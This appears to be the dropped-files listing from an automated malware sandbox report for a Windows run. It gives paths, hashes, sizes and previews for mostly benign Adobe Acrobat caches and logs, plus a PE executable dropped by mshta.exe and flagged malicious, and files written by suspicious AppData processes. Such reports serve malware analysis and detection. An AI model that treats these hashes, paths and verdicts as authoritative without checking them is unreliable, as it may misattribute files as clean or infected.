DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7280

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2145
Entropy (8bit):	5.065913000842341
Encrypted:	false
SSDEEP:	48:YZ2sL0/EY0bMSlMtCM5mMOpiMAW0MretMSMmkaMY:xv/SYtt55V6AWLre6JmkhY
MD5:	E197BD5220320FBF04D3BC4C93AB7D7A
SHA1:	147707DE3816E18A0386E62911B5A2BF9B2A47BB
SHA-256:	728DAF3EAE930E9672A453682B96311D66480BBDBCB6B6F4DB50B21E98FA55FF
SHA-512:	79A0AEEE71D606CE7C56A22A6791AD836C5E7E0DFA89FB6BD0DF32B5B23C6614B349A59EAAE5C822A4C5D5A186CA2AFE0C990E84B62A12A32F1E9388A5979C6B
Malicious:	false
Preview:	{"all":[{"id":"TESTING","info":{"dg":"DG","sid":"TESTING"},"mimeType":"file","size":4,"ts":1734336860000},{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"23c88c8acf166d9fda5ae4d83df3db72","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696420889000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"d5fa85f4cf271b5fa75367efd1b392fa","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1696420884000},{"id":"DC_FirstMile_Right_Sec_Surface","info":{"dg":"7c2ad79e375e3ea39f82a389e8a5841f","sid":"DC_FirstMile_Right_Sec_Surface"},"mimeType":"file","size":294,"ts":1696420882000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"c3af48ba3dee086edbbf20dff46c7ee0","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1255,"ts":1696333862000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"7101e009d8bf8920d0a3dd3f5dc75ebc","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1250,"ts":1696333862000},{"id":"DC_Reader_Edit_LHP_Banner"

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1890426634811664
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUcSvR9H9vxFGiDIAEkGVvpe:lNVmswUUUUUUUUc+FGSIti
MD5:	CC6D6047910852C41D84CF8F53FD5902
SHA1:	209949A134B2E6E552F0EB37B21D3C74B1183D8A
SHA-256:	F6569862AB26F98F1D0FF538640BD9E59B642D0FF752F512D488FABA997A456A
SHA-512:	CCFBB6DA838285E9B81653CBDCDE06EB882A07F00441808C73C79C04586574EEC479AEC11838E2F6A64DD73192B69F8658670383339B69BE51D0A60FBDF4622F
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.605224364666484
Encrypted:	false
SSDEEP:	48:7M/KUUUUUUUUUUOvR9H9vxFGiDIAEkGVvnWqFl2GL7msL:75UUUUUUUUUUyFGSItIKVmsL
MD5:	151AD2558D80E64327C35D46752E4A58
SHA1:	59AF65EEA49EA4FA14706E6465A7C5B6B0715737
SHA-256:	C9FCAAF7086D8692D2AA85460EF8AC3F05A3343531BDFD0B3850C31F1E2C640C
SHA-512:	F13D682B74AFDDE3CADA1BBCBA17ACD6C18F3BA8F1F5362BB239E2ADB6DAC6C45CA2C4E750CEDEF0D1429B64D605EF6E998A1627C9F37EFE3C52680339F8D83F
Malicious:	false
Preview:	.... .c.....2Dy.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg/4WJdSQDSrUfnvulthBeBEFSYyu:6a6TZ44ADE/7JdSQDSrW3EEK
MD5:	E714FB208409C184A4D03D4CEF5D9D9E
SHA1:	70544BD93579EB112EBE74286F3014D2011E8798
SHA-256:	DD56FA40EEB3230118CFAD14E685F35E3B10FF078BB85C93B0AFCB8D837774CD
SHA-512:	8BFE9C579B356A1AEE15B86719116CC5B6EC14EEA2D759EF805F4E8789F24A85794255CBE88788D7EEC143FDEC0BE2BF1087B3EED0ED015E0A41EEB364B0C838
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\Headerfrontend[1]

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	462414
Entropy (8bit):	6.342154631798131
Encrypted:	false
SSDEEP:	6144:e+WoC/IdkUPq5l+WoC/IdkUPq50+WoC/IdkUPq5v+WoC/IdkUPq5u+WoC/IdkUPO:epOkVpOkkpOk/pOkepOk
MD5:	ACE6B795AA18D8C38686036C49A2C7BA
SHA1:	F356E2A4FE2199D14B78609E5FC4D9419E7CE947
SHA-256:	CB3B56BC9D52514A9891C353CCDF5DEFFEA701F487AC71B5CC48B9EC6DFE1EFA
SHA-512:	E1B7C71E7233207B03FF0ED31302D635BB962CD52EEA3DF724E7AD056CEB37AE67E2E1314FFDDA664B27FE872E673160BA1FF492F6D177DD3E592D8432FBF976
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 24%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........R...3...3...3...C...3...C...3...C...3...C...3...3...2...C...3...Cw..3...C...3..Rich.3..........................PE..L...........................T....................@.................................{.....@...... ..........................P$..,....`..(....................p.......1..T............................................ ..L.......@....................text...X........................... ..`.data...............................@....idata..D)... ...*..................@..@.didat.......P.......4..............@....rsrc...(....`.......6..............@..@.reloc.......p.......B..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\274eceda

Download File

Process:	C:\Users\user\AppData\Roaming\UltraChrome\pyexec.exe
File Type:	data
Category:	dropped
Size (bytes):	1031868
Entropy (8bit):	7.5498940695183485
Encrypted:	false
SSDEEP:	24576:HMlEWjBz0tyr0Tqv7H0jj1mpOd+uge3CtyXfMORBA7joJKR6vi5zg:cEyGTE7H0jjaOYuP3CtyXfMORBA7joJl
MD5:	217D4939521DA98B3C5E7DA9A27D06A1
SHA1:	753257F723DE8415FB6E23F120852370A18C5747
SHA-256:	42FB6AF1B65328E62ED5B63BC1151EC87106A73BB8AAC40CAA43C3D16D71339B
SHA-512:	832A483216506B8C20397F773B1214A87A1EB17383BF3DA88747CBCE5947B58C2E377B8044B7353AD3202F3A6285B4DF2C6FF7786E8CC7BA1FE54B063646C45E
Malicious:	false
Preview:	.Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..............#...7...8...&...%...q...$...>...<...%...$..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q...>...%...8...)..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q...>...0...?...?...Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..............>...%......0...>...Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q...c..d..f..Q..Q..Q..Q..Q..Q..Q..Q..Q..Q..

C:\Users\user\AppData\Local\Temp\Chowchow_20241216031425.log

Download File

Process:	C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	988
Entropy (8bit):	5.5006012665764645
Encrypted:	false
SSDEEP:	24:bTbAIeLLzvbCxN3GWgcP2wwAWgcP2MDWgcP2Uf4aM4DWgcP2xWgcP2/1:jxYONT3O3a3hfdS313S1
MD5:	B1037CB00DBFDCCE68A3FD43A01DD0D1
SHA1:	D6FECEBFDB9763D389DEEBDF493579D80603A66C
SHA-256:	9C11E5039B0FC0DDD6B82D200343B69D6498C68DF7647B97C0CE9F188A333E62
SHA-512:	722DB848D10BAC4AE64E694693A07093A5C8AC33E5CF59AA3A8DD9C9B0413238433C5385C991DED0ACCB144416BAD6A151633EA8DA4D5D4AFCAAF2FCB6327A42
Malicious:	false
Preview:	[11EC:06C4][2024-12-16T03:14:25]i001: Burn v3.11.1.2318, Windows v10.0 (Build 19045: Service Pack 0), path: C:\Windows\Temp\{DB4AAEB1-67D3-4D17-BEFD-97E7465C342E}\.cr\IMAKBWPY.exe..[11EC:06C4][2024-12-16T03:14:25]i009: Command Line: '-burn.clean.room=C:\Users\user\AppData\Roaming\IMAKBWPY.exe -burn.filehandle.attached=520 -burn.filehandle.self=516'..[11EC:06C4][2024-12-16T03:14:25]i000: Setting string variable 'WixBundleOriginalSource' to value 'C:\Users\user\AppData\Roaming\IMAKBWPY.exe'..[11EC:06C4][2024-12-16T03:14:25]i000: Setting string variable 'WixBundleOriginalSourceFolder' to value 'C:\Users\user\AppData\Roaming\'..[11EC:06C4][2024-12-16T03:14:25]i000: Setting string variable 'WixBundleLog' to value 'C:\Users\user\AppData\Local\Temp\Chowchow_20241216031425.log'..[11EC:06C4][2024-12-16T03:14:25]i000: Setting string variable 'WixBundleName' to value 'Chowchow'..[11EC:06C4][2024-12-16T03:14:25]i000: Setting string variable 'WixBundleManufacturer' to value 'Warp'..

C:\Users\user\AppData\Local\Temp\MSI2cb32.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.512793808211959
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8er6gble:Qw946cPbiOxDlbYnuRKhxk
MD5:	B222853D2500134DF4E2CA36C325EF2E
SHA1:	8FE197890D4093C20A866538AD315BE0EA1CA3BE
SHA-256:	7E8A2F8BCB2FC60B3D6ADEBFB9F055E425CEF23037BE6801B27F3ED1FF27FC9D
SHA-512:	8812B76EA2858C2669A377031ABC24DF186E1D9A1E5D55F7557F02DE90359D3777BB18FE2B53D2F31EBA04A497DEFC3E6BE960C0E2168FCF318B4494B6C1E594
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.6./.1.2./.2.0.2.4. . .0.3.:.1.4.:.2.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_5ynbqbfc.cmw.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_skfupq3t.cxs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uaguuush.g14.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vf2afisb.rxf.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2024-12-16 03-14-19-706.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.366796125832939
Encrypted:	false
SSDEEP:	384:Ry23OSL+H3YIZUpWPQTFScJJClWr5+5xYPseKskUeK9KkJur1D+EtG4cBchUm9x/:m5qgCI
MD5:	5CEC417D6A4AFD530DB2A868A83BF7CA
SHA1:	015D4AF48F5DBB57369BB3351024086E81F0686C
SHA-256:	B75DC759EF720FF8A907E69CAD6F3A5EFF4EC9E9703B96CAFF7EA10B604B0A67
SHA-512:	4AD0898E3CA9B4C7A19AAE1AEC69FFFE4B352CA5B4C952FAA236CECF09DEB4D879DD2E1677C31B523C9AFFA04E770EDCEF008CFD3063196F0F9AFC5D52CCA725
Malicious:	false
Preview:	SessionID=ccfcb671-bf92-47ce-aee6-9901b450c632.1734336859731 Timestamp=2024-12-16T03:14:19:731-0500 ThreadID=7372 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=ccfcb671-bf92-47ce-aee6-9901b450c632.1734336859731 Timestamp=2024-12-16T03:14:19:732-0500 ThreadID=7372 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=ccfcb671-bf92-47ce-aee6-9901b450c632.1734336859731 Timestamp=2024-12-16T03:14:19:732-0500 ThreadID=7372 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=ccfcb671-bf92-47ce-aee6-9901b450c632.1734336859731 Timestamp=2024-12-16T03:14:19:732-0500 ThreadID=7372 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=ccfcb671-bf92-47ce-aee6-9901b450c632.1734336859731 Timestamp=2024-12-16T03:14:19:732-0500 ThreadID=7372 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397379909051788
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rZ:G//zQD2zOCcOqji0zvXqldxHuWwss0Jm
MD5:	67B6A48D347251E234B1E2DC8F27530E
SHA1:	26F13012915B23C78EFEDA4FC3AB8B6E7272528B
SHA-256:	807BCC051802B80C623F5683EE6C797E403F62BB63218A2B3B1369F0C6AEDF8C
SHA-512:	6FB0FEBFF7F85892F082BB90725ED81EDB972B942586A451C2091D98AFE1EEA9FD766200F4DD9FBE1622BD6A135F54363EA4F70F40DA688DD228BFD6270FBD17
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\33aef1fb-8a37-4fc5-99e0-19223e5db5eb.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLcGZtwYIGNPJodpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLcGZtwZGk3mlind9i4ufFXpAXkru
MD5:	A46246FAEAB95D87F5B4FE236C2B3D3E
SHA1:	7F018DB9238A63FEAD8D11A92297E7366058A75A
SHA-256:	7E822FECC47177C5A7F4C250E7D53509D104DE68B0D0CE9445877B508400988E
